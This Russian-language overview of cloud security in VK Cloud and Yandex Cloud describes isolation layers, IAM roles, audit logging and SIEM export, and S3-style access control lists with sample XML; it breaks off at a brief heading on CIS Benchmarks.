• Проверки безопасности: внешние проверки не реже одного раза в год, включают в себя анализ внутренних нарушителей. Также проводятся собственные аудиты информационной безопасности и участие в программах Bug Bounty для выявления и устранения уязвимостей.
• Применение принципов безопасной разработки: разработчики проходят обучение по информационной безопасности, интегрируют и автоматизируют инструменты безопасности на всех этапах жизненного цикла разработки и эксплуатации (DevSecOps), а также проходят архитектурное ревью и аудит безопасности каждого сервиса.
• Соответствие требованиям 152-ФЗ и PCI DSS: VK Cloud обеспечивает соответствие требованиям законодательства и стандартам безопасности, таким как требования 152-ФЗ и стандарт PCI DSS.
• Применение отраслевых практик: VK Cloud применяет лучшие отраслевые практики, такие как изоляция сегментов и сервисов с помощью файервола, разграничение доступа с использованием ролевой модели IAM и ограниченный доступ к платформе только для администраторов с обязательной аутентификацией.

Yandex Cloud

В Yandex Cloud можно выделить следующие меры и инструменты обеспечения безопасности:

• Key Management Service — управление ключами шифрования;
• DDoS Protection — защита от DDoS-атак;
• Certificate Manager — управление TLS-сертификатами;
• Lockbox — создание и хранение секретов;
• Identity and Access Management — идентификация и контроль доступа к облачным ресурсам;
• Audit Trails — сервис сбора и выгрузки аудитных логов;
• Smart Web Security — защита веб-приложений;
• SmartCaptcha — инструмент для верификации запросов.
• Помимо этого, SOC Яндекса обеспечивает защиту облака, также в Yandex Cloud существует сегментирование и изоляция ресурсов.

Слои изоляции

• Изоляция серверов Yandex Cloud — серверы Yandex Cloud находятся в отдельных изолированных зонах внутри дата-центра: здесь действуют особые правила физического доступа, а физическая сеть платформы изолирована по периметру межсетевым экраном.
• Логическая изоляция на уровне гипервизора — архитектура гипервизора и средства управления виртуальной средой обеспечивают изоляцию одной виртуальной машины (ВМ) от другой. В Yandex Cloud используется аппаратная виртуализация, реализованная при помощи набора команд Intel VT-x. Взаимодействие таких ВМ можно организовать только с помощью организации доступа L3 между ними, при этом не важно на одном или разных физических хостах они размещены.
• Логическая изоляция на уровне управляемых сервисов - изоляция на этом уровне зависит от специфики и архитектуры управляемого сервиса. Если решение, предоставляемое в виде управляемого сервиса, реализует мультитенантную* среду, то есть надежную и безопасную работу различных пользователей облака (в том числе принадлежащих разным организациям) с единой инсталляцией решения, то изоляция в основном обеспечивается на уровне логики решения.
• *Multi-tenancy (режим коллективной аренды) — архитектура программного обеспечения, при которой единый экземпляр приложения, запущенного на сервере провайдера, одновременно работает с несколькими арендаторами (компаниями-клиентами).

Так реализовано объектное хранилище (Object Storage) в Yandex Cloud.

Изоляция управляющей сети провайдера от виртуальных сетей облачных пользователей - управляющая сеть условно делится на базовую (underlay) и наложенную (overlay). Underlay — это сегмент физической сети, реализующий связность между всеми физическими компонентами облачной платформы. Overlay — это набор виртуальных сетей, которые могут использоваться как провайдером (в служебных целях для работы сервисов платформы), так и конечными пользователями. Underlay в Yandex Cloud делится на два сегмента (VLAN): технологический, который используется для работы overlay, и служебный для передачи данных между аппаратными хостами (например, в случае живой миграции ВМ). Трафик в underlay и в служебные сегменты overlay строго контролируется ACL на Tor и граничных маршрутизаторах (border routers), аппаратными файрволлами на периметре физической сети, программными файрволами на хостах и security groups (встроенных межсетевых экранах на уровне виртуальной сети).

Изоляция трафика разных виртуальных сетей — трафик виртуальных сетей маркируется с помощью MPLS-меток и может быть обработан (передан) только виртуальной сущностью, подключенной к той же виртуальной сети.
Логическая изоляция на уровне учетных записей и прав доступа - управление ресурсами облака реализуется с помощью сервиса управления ресурсами и ролевой модели. Все ресурсы сосредоточены в логическом контейнере, который в Yandex Cloud называется организацией. Ресурсная модель позволяет назначать роли контейнерам различных уровней (организации, облаку, папке) или непосредственно ресурсам (например, ключу KMS). Сервис управления ресурсами позволяет предоставлять доступ только тем пользователям, которые числятся пользователями организации.

Разделение сущностей сontrol plane и data plane — сontrol plane управляет ресурсами сервиса через служебные ВМ, обеспечивая изоляцию с помощью учетных записей и их прав доступа. Data plane содержит ВМ с базами данных, обеспечивая отказоустойчивость. Компоненты сontrol plane не имеют доступа к данным пользователей, они лишь управляют рабочими компонентами, которые обрабатывают данные.

Изоляция сервисных компонент инфраструктуры провайдера от пользовательских ресурсов — фактически служебные компоненты платформы могут быть следующих видов: компоненты, реализующие внутренние сервисы, не доступные конечным пользователям; компоненты, реализующие доступный пользователям сontrol plane сервисов;
компоненты, обеспечивающие работу data plane слоя (например, ВМ, на которой размещена БД, предоставляемая клиенту в рамках управляемого сервиса). В зависимости от ситуации такие сервисные компоненты изолируются как на уровне физических хостов (размещаются на хостах, где нет пользовательской нагрузки. Пример — основные машины сервиса KMS), так и на уровне виртуальных сетей.

Identity and Access Management

Процесс управления идентичностью и доступом пользователей к ресурсам в информационной системе. Он включает в себя управление учетными записями пользователей, группами пользователей, ролями и разрешениями.

• Учетные записи пользователей. IAM управляет созданием, удалением и управлением учетными записями пользователей в системе. Это включает в себя установку и изменение паролей, настройку двухфакторной аутентификации и т. д.
• Группы пользователей Пользователей можно объединять в группы с общими характеристиками или правами доступа. IAM позволяет управлять этими группами, что делает процесс управления доступом более эффективным.
• Роли определяют набор разрешений и привязываются к пользователям или группам. Они предоставляют набор прав доступа к ресурсам, который определяет, какие действия могут выполнять пользователи.
• Разрешения определяют, какие действия могут выполнить пользователи или роли для конкретных ресурсов. Например, разрешения могут включать чтение, запись, удаление и т. д.

IAM обеспечивает безопасность информационных систем, управляя доступом к ресурсам на основе принципа наименьших привилегий (Least Privilege Principle), что означает, что пользователи получают только те права, которые необходимы для выполнения их задач. Это помогает предотвратить несанкционированный доступ и минимизировать риски для безопасности.

Роли пользователей

В общем случае в облачных сервисах можно выделить следующие категории доступа:

Примеры ролей пользователей в VK Cloud

В контексте VK Cloud важно упомянуть понятие Проект.
Проект — это структурная единица внутри облака, которая владеет ресурсами: виртуальными машинами, базами данных, кластерами Kubernetes и другими. При регистрации нового аккаунта в VK Cloud автоматически создается проект, в котором текущий пользователь зарегистрирован в роли владельца. Владелец проекта может создавать новые проекты и приглашать во все свои проекты пользователей, назначая им роли. Один и тот же пользователь может быть участником нескольких проектов и иметь в них в разные роли.

Роли для общего управления проектом

• Владелец проекта — пользователь с максимально широким набором разрешений. Владельцем становится пользователь, который создал проект, либо для которого проект был создан платформой при регистрации аккаунта. В проекте может быть только один владелец. Эту роль нельзя назначить или пригласить на нее.
• Суперадминистратор — пользователь, который имеет те же разрешения, что владелец, включая привязку карты и пополнение баланса. Суперадминистратор — единственная роль, кроме владельца, которой доступна активация сервисов в проекте.
• Администратор проекта — пользователь, который имеет полные разрешения на создание и редактирование объектов во всех сервисах. Администратор не может: активировать сервисы; пополнять баланс проекта (ему доступен только просмотр баланса); приглашать пользователей.
• Администратор пользователей (IAM) — роль, предназначенная для работы с участниками проекта на странице управления доступами. Администратор пользователей (IAM) может приглашать участников в проект и удалять их из проекта, редактировать назначенные участникам роли. Сервисы и информация о балансе проекта этой роли недоступны.
• Администратор биллинга — роль, предназначенная для управления балансом проекта. Администратор биллинга может: привязать к проекту карту оплаты, если она еще не привязана; пополнить баланс проекта или настроить автопополнение. Сервисы и список участников проекта этой роли недоступны.
• Наблюдатель — пользователь, который имеет полные разрешения на просмотр информации в проекте, включая список участников, данные всех сервисов, баланс проекта и детализацию расходов. Наблюдатель не может создавать какие-либо объекты и не может ничего редактировать, кроме настроек своего аккаунта.

Специализированные роли

Каждая из ролей ниже предназначена для работы с одним из сервисов платформы. Этим ролям доступны: разрешения в их целевом сервисе; ряд разрешений в сопутствующих сервисах, без которых невозможна полноценная работа с целевым сервисом. У всех этих ролей отсутствует доступ к списку участников проекта и к информации о балансе. Все операции, доступные специализированным ролям, доступны также владельцу проекта, суперадминистратору и администратору проекта.

• Администратор виртуальных машин — пользователь с этой ролью может выполнять основные операции в сервисе Cloud Servers. При этом ему доступен только просмотр для: планов резервного копирования; файловых хранилищ. В сервисе виртуальных сетей он может создавать и редактировать группы правил (firewall).
• Администратор сети — пользователь с этой ролью может выполнять полный набор операций в сервисах виртуальных сетей и DNS.
• Администратор сетевой безопасности — пользователь с этой ролью может просматривать все данные в сервисах виртуальных сетей и DNS. Создавать и редактировать он может только группы правил (firewall).
• Администратор внутренних сетей — пользователь с этой ролью может: просматривать все данные в сервисах виртуальных сетей и DNS; создавать и редактировать виртуальные сети и подсети, маршрутизаторы; добавлять в проект плавающие IP.

Матрицу разрешений можно посмотреть по ссылке.

Роли в Yandex Cloud

В Yandex Cloud существует 4 примитивные роли: admin, editor, viewer и auditor.
Примитивные роли в Yandex Cloud наследуют разрешения друг друга: например, в роль editor входят все разрешения роли viewer.

auditor

Роль auditor дает разрешения на чтение конфигурации и метаданных сервисов без возможности доступа к данным.

Роль auditor позволяет выполнять следующие операции:

• просмотр информации о ресурсе;
• просмотр метаданных ресурса;
• просмотр списка операций с ресурсом.

viewer

Роль viewer дает разрешения на чтение к ресурсам.

Роль viewer включает все разрешения, которые дает роль auditor. В отличие от роли auditor, роль viewer предоставляет возможность доступа к данным сервиса в режиме чтения.

Роль viewer позволяет выполнять следующие операции:

• просмотр информации о ресурсе;
• получение списка вложенных ресурсов, например списка виртуальных машин в каталоге;
• просмотр списка операций с ресурсом.

editor

Роль editor дает разрешения на все операции для управления ресурсом, кроме назначения ролей другим пользователям.

Роль editor включает все разрешения, которые дает роль viewer.

Помимо них, роль editor позволяет выполнять следующие операции:

• создание ресурса;
• обновление ресурса;
• удаление ресурса.

admin

Роль admin дает все разрешения для управления ресурсом, включая назначение ролей другим пользователям. Можно назначать любые роли за исключением resource-manager.clouds.owner (владелец ресурса)

Помимо ранее перечисленных операций, роль admin позволяет выполнять следующие операции:

• установить права доступа к ресурсу;
• изменить права доступа к ресурсу.

В зависимости от сервисов, роли могут немного варьироваться, но в целом они сводятся к ранее перечисленным примитивным ролям. Подробное описание ролей относительно различных сервисов можно посмотреть по ссылке.

Логирование в облачных сервисах

События в аудитных логах Yandex Cloud относятся к различным уровням:

• уровень Yandex Cloud — события, происходящие с ресурсами Yandex Cloud;
• уровень ОС;
• уровень приложений;
• уровень сети (Flow Logs).
• Уровень Yandex Cloud

Основным инструментом сбора логов уровня Yandex Cloud является сервис Yandex Audit Trails. Сервис позволяет собирать аудитные логи о происходящих с ресурсами Yandex Cloud событиях и загружать эти логи в бакет Yandex Object Storage или лог-группу Cloud Logging для дальнейшего анализа или экспорта.

Для сбора метрик, анализа некоторых событий уровня Yandex Cloud и настройки оповещений рекомендуется использовать сервис Yandex Monitoring. С его помощью возможно отслеживать, например, резкое возрастание нагрузки на Compute Cloud, RPS сервиса Application Load Balancer, значительные изменения в статистике событий сервиса Identity and Access Management. Кроме того, Monitoring можно применять для мониторинга работоспособности самого сервиса Audit Trails и мониторинга событий безопасности.

Формат записей аудитного лога универсален для всех событий, события представляют собой JSON-объекты. Значения некоторых полей определяются ресурсом-источником и типом события.

Яндекс предоставляет справочник событий. Аудитные логи возможно экспортировать в лог-группу Cloud Logging и в SIEM-систему клиента для анализа информации о событиях и инцидентах.

Экспорт событий в SIEM

Решения для экспорта аудитных логов Yandex Cloud подготовлены для следующих SIEM-систем:

• Yandex Managed Service for Elasticsearch (ELK);
• ArcSight;
• Splunk.

Для настройки экспорта в любые SIEM подходят утилиты GeeseFS или s3fs. Она позволяет смонтировать бакет Yandex Object Storage как локальный диск виртуальной машины. Далее на ВМ необходимо установить коннектор для SIEM и настроить вычитывание JSON-файлов из бакета.

Реагирование на события

C помощью Yandex Cloud Functions можно настроить оповещения о событиях Audit Trails, а так же автоматическое реагирование на вредоносные действия, например удаление опасных правил или прав доступа.

Уровень ОС
При использовании облачных сервисов по модели IaaS и использовании групп узлов Kubernetes клиент отвечает за безопасность ОС и выполняет сбор событий уровня ОС самостоятельно. Для сбора стандартных событий, которые генерирует ОС, и их экспорта в SIEM-систему клиента существуют бесплатные инструменты, такие как:

Osquery;
Filebeat (ELK);
Wazuh.
Дополнительные опции генерации событий возможно реализовать с помощью утилиты Auditd для Linux, Sysmon для Windows.

Системные метрики Linux (процессор, память, диск) можно собирать с помощью компонента Unified Agent сервиса Monitoring.

Также события ОС возможно экспортировать в Cloud Logging с помощью плагина Fluent bit

Для описания событий, которые нужно искать в логах, Яндекс рекомендует использовать формат Sigma, поддерживаемый популярными SIEM-системами. Репозиторий Sigma содержит библиотеку событий, описанных в этом формате.

Уровень приложений
Сбор событий уровня приложений, развернутых на ресурсах Compute Cloud, клиент может выполнять самостоятельно. Например, записывать логи приложения в файл и передавать их в SIEM-систему с помощью инструментов, перечисленных в подразделе Уровень ОС выше.

Уровень сети
Запись событий о сетевом трафике VPC (Flow Logs) на текущий момент может выполняться только средствами клиента. Для сбора и передачи событий могут использоваться решения из Yandex Cloud Marketplace (например, NGFW, IDS/IPS, сетевые продукты) либо бесплатное ПО.

Управление доступом в Yandex Cloud

Все операции в Yandex Cloud предварительно отправляются на проверку в IAM:

• Пользователь просит сервис Compute Cloud создать новый диск в каталоге default.
• Сервис спрашивает IAM, можно ли этому пользователю создать диск в этом каталоге.
• IAM проверяет, что пользователь — участник облака с каталогом default и имеет необходимые разрешения для создания диска в этом каталоге.

Если какого-то из разрешений у пользователя нет, операция не будет выполнена, и Yandex Cloud сообщит об ошибке.
Если все разрешения имеются, то IAM сообщает об этом сервису.
Сервис создает новый диск.
Управление доступом в Yandex Cloud построено на политике Role Based Access Control
 (RBAC). Чтобы предоставить доступ к ресурсу, вы указываете, кому и какие роли назначены на ресурс.

Чтобы назначить роль, вы выбираете ресурс, выбираете роль и описываете субъект, которому назначается роль. Таким образом вы привязываете права доступа к ресурсу. Вы также можете назначить роль на родительский ресурс, от которого наследуются права доступа, например назначить роль на каталог или облако.

Ресурсы, на которые можно назначать роли
Назначать роли можно на облако, каталог и другие ресурсы из списка. Если нужно предоставить доступ к ресурсу, которого нет в списке, например к кластеру Yandex Managed Service for PostgreSQL, назначьте роль на родительский ресурс, от которого наследуются права доступа. У кластеров Managed Service for PostgreSQL права доступа наследуются от каталога.

Роль
Назначать роли на ресурс могут пользователи с ролью администратора на этот ресурс, а также владельцы облака, которому принадлежит ресурс.

Каждая роль состоит из набора разрешений, описывающих допустимые операции с ресурсом. Пользователь может назначить роли только с теми разрешениями, которые имеются у него самого. Например, чтобы назначить роль владельца облака, пользователь должен сам обладать этой ролью, а роли администратора для этого недостаточно.

Субъект, которому назначается роль
Роли назначаются субъектам. Существуют следующие типы субъектов:

• userAccount — аккаунт на Яндексе, добавленный в Yandex Cloud.
• serviceAccount — сервисный аккаунт, созданный в Yandex Cloud.
• Сервисному аккаунту можно назначать роли на любые ресурсы в любом облаке, если эти ресурсы относятся к той же организации, что и сервисный аккаунт. Также сервисному аккаунту можно назначать роли на саму организацию.
• federatedUser — аккаунт пользователя федерации удостоверений, например из Active Directory.
• group — группа пользователей, созданная в Yandex Cloud Organization.
• system — системная группа.

Наследование прав доступа
Если у ресурса есть дочерние ресурсы, то все разрешения от родительского ресурса будут унаследованы дочерними ресурсами. Например, если вы назначите пользователю роль на каталог, в котором лежит виртуальная машина, то все разрешения этой роли будут действовать и для виртуальной машины.

Если на дочерний ресурс тоже назначены роли, то список разрешений на этот ресурс будет объединен со списком разрешений на родительский ресурс. Нельзя ограничить список разрешений, унаследованных от родительского ресурса.

Имперсонация
Имперсонацией называется выполнение пользователем действий с ресурсами облака от имени сервисного аккаунта, которому назначены необходимые права. Имперсонация чаще всего применяется, чтобы временно расширить права пользователя, не прибегая к генерации статических учетных данных.

Например, когда у пользователя нет прав на просмотр каталога, но на какое-то время они ему оказались нужны. Для этого администратор может назначить сервисному аккаунту роль на просмотр каталога, а пользователю назначить специальную роль iam.serviceAccounts.tokenCreator. В результате пользователь сможет от имени сервисного аккаунта просматривать ресурсы в каталоге или получить IAM-токен сервисного аккаунта. Пользователь не сможет изменить права доступа или удалить сервисный аккаунт. В нужный момент администратор может отозвать роль.

Управление доступом в VK Cloud

С помощью ACL.

ACL (Access Control List) позволяет контролировать, какие операции разрешены каким пользователям. ACL может стоять как и на уровне всего бакета, так и на уровне конкретного объекта. Установить и прочесть ACL можно через приведенные методы ниже. По умолчанию, создаваемый бакет или объект максимально ограничен в доступе — только владелец бакета/объекта может работать с ним. У остальных пользователей — запрет доступа. ACL указывается в XML формате, где в поле Owner ID нужно указать свой канонический идентификатор в системе VK Cloud. Получить его можно разными способами. Один из способов:

aws s3api list-buckets --query Owner.ID --output text --endpoint-url https://hb.vkcs.cloud

                  
Пример ACL, который дает те же права, что и по умолчанию (только владелец имеет полный доступ, никто больше): 

<?xml version="1.0" encoding="UTF-8"?>
<AccessControlPolicy xmlns="http://<имя_бакета>.hb.vkcs.cloud/images/01.jpg/">
  <Owner>
    <ID>fcd68908-6c76-42d1-968b-82ae2a5a251d</ID>
    <DisplayName>owner-display-name</DisplayName>
  </Owner>
  <AccessControlList>
    <Grant>
      <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xsi:type="Canonical User">
        <ID>fcd68908-6c76-42d1-968b-82ae2a5a251d</ID>
        <DisplayName>display-name</DisplayName>
      </Grantee>
      <Permission>FULL_CONTROL</Permission>
    </Grant>
  </AccessControlList>
</AccessControlPolicy>

Элемент <Owner> производит идентификацию владельца по каноническому идентификатору пользователя учетной записи VK Cloud.
Элемент <Grant> определяет идентификатор получателя для предоставляет разрешение.
Элемент <Permission> внутри <Grant> определяет тип доступа для получателя.
Базовый ACL, показанный выше в качестве примера, имеет один элемент <Grant>. Чтобы описать несколько получателей, то для каждого надо добавить свой элемент <Grant>.

При установке через HTTP заголовки, нужно использовать заголовки для выдачи специфичных для заголовка прав:

x-amz-grant-read — список получателей прав для READ.
x-amz-grant-write — список получателей прав для WRITE.
x-amz-grant-read-acp — список получателей прав для READ_ACP.
x-amz-grant-write-acp — список получателей прав для WRITE_ACP.
x-amz-grant-full-control — список получателей прав для FULL_CONTROL.
x-amz-acl — использование шаблонного ACL.
Выдача прав
Идентификаторов для выдачи прав может быть несколько типов:

Конкретный пользователь в VK Cloud. Для этого нужно знать его уникальный идентификатор.
Проект в VK Cloud. Для этого нужно знать уникальный идентификатор проекта.
Предварительно определенные группы. Список указан ниже.
Весь мир. Включая анонимный доступ. Любой, знающий полный адрес до объекта, имеет доступ.
Выданное право для идентификатора выше может быть одним или составлено из нескольких типов:

READ — только чтение, какие-либо изменения не разрешены.
WRITE — только запись, какие-либо чтения не разрешены. Включая удаление.
READ_ACP — чтение ACL, какие-либо изменения не разрешены.
WRITE_ACP — запись ACL, какие-либо чтения не разрешены. Включая удаление.
FULL_CONTROL — все, что перечислено выше, сразу.
Выдача прав по идентификатору пользователя
Идентификатор пользователя (он же известен как канонический ID/Canonical ID) — это уникальный идентификатор, состоящий из набора символов. Пример: fcd68908-6c76-42d1-968b-82ae2a5a251d. Формат не фиксирован, при работе с идентификатором пользователя какие-либо преобразования и привязки к формату идентификатора не рекомендуются.

Если используется установка через XML, то внутри <Grantee> надо указать тег <ID>.

Пример: <ID>fcd68908-6c76-42d1-968b-82ae2a5a251d</ID>

Если используется установка через HTTP заголовок, то в значении заголовка надо использовать ключ id.

Пример: id="fcd68908-6c76-42d1-968b-82ae2a5a251d".

Канонический ID пользователя учетной записи VK Cloud можно получить, прочитав ACL бакета или объекта, к которому учетная запись VK Cloud имеет права доступа. Когда отдельная учетная запись VK Cloud получает разрешения по запросу на Grant, в ACL добавляется запись гранта с каноническим ID пользователя учетной записи VK Cloud.

Выдача прав по идентификатору проекта
Если идентификатор пользователя неизвестен, но известен идентификатор проекта, то можно указать проект. При обработке запроса на установку ACL, система ищет идентификатор пользователя и сохраняет его в ACL. В результате ACL всегда будут содержать канонический ID пользователя для проекта, а не идентификатор проекта.

Если используется установка через XML, то внутри <Grantee> надо указать тег <EmailAddress>.

Пример: <EmailAddress>mcs2400549523</EmailAddress>

Если используется установка через HTTP заголовок, то в значении заголовка надо использовать ключ id.

Пример: emailAddress="mcs2400549523".

Получить свой идентификатор проекта можно в личном кабинете в области информации об учетной записи. Кнопка, расположенная рядом с идентификатором проекта, позволяет скопировать параметр для удобства.

Виды разрешений
В таблице перечислены наборы разрешений, которые Cloud Storage поддерживает в ACL. Набор разрешений ACL одинаков для ACL объекта и ACL бакета. Эти ACL предоставляют разрешения для определенных бакетов или операций с объектами. В таблице перечислены разрешения и описано, что они означают в контексте объектов и бакетов.

Разрешение

Применение к бакету

Применение к объекту

READ

HeadBucketGetBucketLifecycleGetBucketNotificationListObjectsListPartsListMultiparts

Позволяет получить содержимое объекта и его метаданные

WRITE

Позволяет создавать, удалять, перезаписывать любые объекты в бакете

Не применимо

READ_ACP

Позволяет читать ACL бакета: GetBucketAclGetBucketCors

Позволяет читать ACL объекта: GetObjectAcl

WRITE_ACP

Позволяет изменять ACL бакета

Позволяет изменять ACL объекта PutObjectAcl

FULL_CONTROL

Комбинирует права READ, WRITE, READ_ACP, WRITE_ACP для бакета

Комбинирует права READ, WRITE, READ_ACP, WRITE_ACP для объекта

Сопоставление разрешений ACL и разрешений политики доступа
ACL допускает только конечный набор разрешений по сравнению с количеством разрешений, которые можно установить в политике доступа. Каждое из этих разрешений позволяет выполнять одну или несколько операций Cloud Storage.

В следующей таблице показано, как каждое разрешение ACL сопоставляется с соответствующими разрешениями политики доступа. Как видно, политика доступа допускает больше разрешений, чем ACL. ACL используется в основном для предоставления базовых разрешений на чтение и запись, аналогично разрешениям файловой системы.

Разрешение ACL

Политика доступа для бакета

Политика доступа для объекта

READ

ListBucket,ListBucketMultipartUploads

GetObject

WRITE

PutObject,DeleteObject

Не применимо

READ_ACP

GetBucketAcl

GetObjectAcl

WRITE_ACP

PutBucketAcl

PutObjectAcl

FULL_CONTROL

Эквивалент предоставлению READ, WRITE,READ_ACP, и WRITE_ACP ACL разрешений

Эквивалент предоставлению READ, READ_ACP и WRITE_ACP ACL разрешений

Ключи состояния
При предоставлении разрешения политики доступа, можно использовать условные ключи, чтобы ограничить значение ACL для объекта с помощью политики бакета. Приведенные ниже контекстные ключи соответствуют спискам ACL. Эти контекстные ключи предназначены для указания использования определенного ACL в запросе:

s3 — доступ на чтение.
s3 — права записи.
s3 — доступ на чтение ACL бакета.
s3 — права на запись ACL бакета.
s3 — полный контроль.
s3 — использование шаблонного ACL.

Фиксированный ACL
Cloud Storage поддерживает набор предопределенных разрешений, известных как стандартные списки ACL. Каждый фиксированный ACL имеет предопределенный набор получателей и разрешений. В следующей таблице перечислены стандартные списки ACL и связанные с ними предопределенные разрешения.

Фиксированный ACL

Относится к

Разрешения добавлены в ACL

private

Бакет и объект

Владелец получает FULL_CONTROL. Больше ни у кого нет прав доступа (по умолчанию).

public-read

Бакет и объект

Владелец получает FULL_CONTROL. Группа AllUsers получает READ доступ.

public-read-write

Бакет и объект

Владелец получает FULL_CONTROL. Группа AllUsers получает READ и WRITE доступ.

aws-exec-read

Бакет и объект

Владелец получает FULL_CONTROL.

authenticated-read

Бакет и объект

Владелец получает FULL_CONTROL. Группа AuthenticatedUsers получает READ доступ.

bucket-owner-read

Объект

Владелец объекта получает FULL_CONTROL. Владелец бакета получает READ доступ. Если указать этот шаблонный ACL при создании бакета, Cloud Storage проигнорирует его.

bucket-owner-full-control

Объект

И владелец объекта, и владелец бакета получают FULL_CONTROL над объектом. Если указать этот фиксированный ACL при создании бакета, Cloud Storage проигнорирует его.

В запросе можно указать только один из этих фиксированных списков ACL.

В запросе указывается фиксированный ACL, используя заголовок запроса x-amz-acl. Когда Cloud Storage получает запрос со стандартным списком управления доступом в запросе, он добавляет предопределенные разрешения в список управления доступом ресурса.

Списки управления доступом (ACL)
Hotbox предоставляет возможность управлять доступом к контейнерам и объектам с помощью списка управления доступа - ACL. У каждого контейнера и объекта есть свой список доступа. Этот список определяет каким проектам или глобальным группам предоставляются права доступа и соответствующие права доступа. При получении запроса на ресурс сервис проверяет соответствующий ACL на наличие прав доступа у запрашивающего.

При создании контейнера или объекта сервис создает стандартный ACL, который предоставляет владельцу ресурса право полного контроля над этим ресурсом, и запрещает доступ остальным проектам и глобальным группам. Это показано в следующем примере ACL бакета (стандартный ACL объекта имеет ту же структуру).

1<?xml version="1.0" encoding="UTF-8"?>
2<AccessControlPolicy xmlns="http://BucketName.hb.vkcs.cloud/doc/2006-03-01/">
3  <Owner>
4    <ID>***Owner-Canonical-User-ID***</ID>
5    <DisplayName>owner-display-name</DisplayName>
6  </Owner>
7  <AccessControlList>
8    <Grant>
9      <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
10xsi:type="Canonical User">
11        <ID>***Owner-Canonical-User-ID***</ID>
12        <DisplayName>owner-display-name</DisplayName>
13      </Grantee>
14      <Permission>FULL_CONTROL</Permission>
15    </Grant>
16  </AccessControlList>
17</AccessControlPolicy>

                  
Блок Owner определяет владельца по каноническому идентификатору пользователя проекта и по домену.
Блок Grant определяет получателя прав (проект сервиса или глобальную группу) и предоставляемое право доступа.
Базовый ACL содержит один элемент Grant для владельца. Вы можете предоставлять права с помощью добавления элементов Grant, где каждый из них определяет получателя прав и соответствующее право доступа.

Получатель прав
Получателем прав может являться проект сервиса или одна из глобальных групп сервиса. Вы можете предоставлять права проекту сервиса при помощи адреса электронной почты (домена) или канонического идентификатора проекта. При этом если вы указываете адрес электронной почты (домен) в вашем запросе на права доступа, то сервис определяет канонический идентификатор пользователя для соответствующего проекта и добавляет его в ACL. В результате ACL всегда будут содержать канонический идентификатор пользователя для проекта сервиса, а не адрес электронной почты проекта (домен).

Глобальные группы сервиса
У сервиса существует набор предопределенных групп. При предоставлении группе прав доступа к проекту вы указываете один из наших URI вместо канонического идентификатора пользователя. Сервисом предоставляются нижеуказанные глобальные группы.

Группа Authenticated Users — группа авторизованных пользователей.
Данная группа представляет собой все проекты сервиса. Наличие права доступа к этой группе позволяет любому проекту сервиса получать доступ к ресурсу. Но в то же время все запросы должны быть подписаны (авторизованы).

Группа All Users — группа всех пользователей.
Наличие права доступа к этой группе позволяет всем получать доступ к ресурсу. Запросы могут быть подписанными (авторизованными) или неподписанными (анонимными). В неподписанных запросах отсутствует заголовок аутентификации Authentication в запросе.

Предоставляемые разрешения
Следующая таблица содержит набор разрешений, поддерживаемых сервисом в ACL. Необходимо отметить, что набор разрешений ACL один и тот же для объекта и контейнера (за исключением запрета права WRITE на объекте).Нижеследующие таблицы содержат разрешения и описывают их в контексте разрешений объекта и контейнера.

Разрешение

При предоставлении на контейнере

При предоставлении на объекте

READ

Позволяет получателю прав получить список объектов в контейнере.

Позволяет получателю прав прочитать данные объекта и его метаданные.

WRITE

Позволяет получателю прав создавать, переписывать и удалять любой объект в контейнере.

Неприменимо.

READ_ACP

Позволяет получателю прав прочитать ACL контейнера.

Позволяет получателю прав прочитать ACL объекта.

WRITE_ACP

Позволяет получателю прав записывать ACL для соответствующего контейнера.

Позволяет получателю прав записывать ACL для соответствующего объекта.

FULL_CONTROL

Дает получателю прав следующие разрешения на контейнер: READ, WRITE, READ_ACP и WRITE_ACP.

Дает получателю прав следующие разрешения на объект: READ, READ_ACP и WRITE_ACP.

Соответствие разрешений ACL и разрешений политики доступа

Каждое из прав доступа позволяет провести в сервисе одну или несколько операций. Следующая таблица показывает соответствие прав доступа и операций.

Разрешение ACL

Соответствующее разрешение политики доступа при предоставлении разрешения ACL на бакете

Соответствующее разрешение политики доступа при предоставлении разрешения ACL на объекте

READ

HeadBucketListMultipartsListObjectsListParts

GetObjectHeadObject

WRITE

AbortMultipartUploadCompliteMultipartUploadInitiateMultipartUploadUploadPartPutObjectDeleteObject

Неприменимо

READ_ACP

GetBucketAcl

GetObjectAcl

WRITE_ACP

PutBucketAcl

PutObjectAcl

FULL_CONTROL

Эквивалентно предоставлению следующих разрешений ACL: READ, WRITE, READ_ACP и WRITE_ACP.

Эквивалентно предоставлению следующих разрешений ACL: READ, READ_ACP и WRITE_ACP.

Связанный ACL
Сервис поддерживает набор предопределенных предоставлений разрешений — так называемых «готовых ACL». Каждый готовый ACL содержит предопределенный набор получателей прав и разрешений. Следующая таблица содержит набор готовых ACL и связанных с ними предопределенных предоставлений разрешений.

Связанный ACL

Область применения

Добавленные в ACL разрешения

private

Контейнер и объект

Владелец получает полные права (FULL_CONTROL). Остальные пользователи не получают прав доступа (по умолчанию).

public-read

Контейнер и объект

Владелец получает полные права (FULL_CONTROL). Группа всех пользователей Allusers получает право доступа на чтение (READ).

public-read-write

Контейнер и объект

Владелец получает полные права (FULL_CONTROL). Группа всех пользователей AllUsers получает права доступа на чтение (READ) и запись (WRITE). Как правило, не рекомендуется предоставлять данные разрешений на контейнер.

authenticated-read

Контейнер и объект

Владелец получает полные права (FULL_CONTROL). Группа авторизованных пользователей (AuthenticatedUsers) получает права доступа на чтение (READ).

bucket-owner-read

Объект

Владелец объекта получает полные права (FULL_CONTROL). Владелец бакета получает права на чтение (READ).

bucket-owner-full-control

Объект

Владелец объекта и владелец бакета получают полные права (FULL_CONTROL) на объект.

Можно указывать только один из этих связанных ACL в своем запросе — только при установлении ACL через заголовки.

Установка ACL
API-сервис позволяет вам установить ACL при создании бакета или объекта. Сервис также предоставляет API для возможности установки ACL на существующем бакете или объекте. Эти API дают возможность устанавливать ACL с помощью нижеуказанных способов.

Установка ACL с помощью заголовков запроса — при отправке запроса по созданию ресурса (бакета или объекта) вы устанавливаете ACL при помощи заголовков запроса. Данные заголовки позволяют вам указать или готовый ACL, или установить предоставления разрешений явным образом (однозначно определить получателя прав и разрешения).
Установка ACL с помощью тела запроса — при отправке запроса по установке ACL на существующем ресурсе вы можете установить ACL или в заголовке запроса, или в теле.

Базы данных

CIS Benchmarks (CIS - Center for Internet Security) — это набор рекомендаций и стандартов безопасности информационных систем, разработанный организацией Center for Internet Security. Каждый мануал представляет собой набор наилучших практик и конфигураций для различных операционных систем, устройств и ПО.

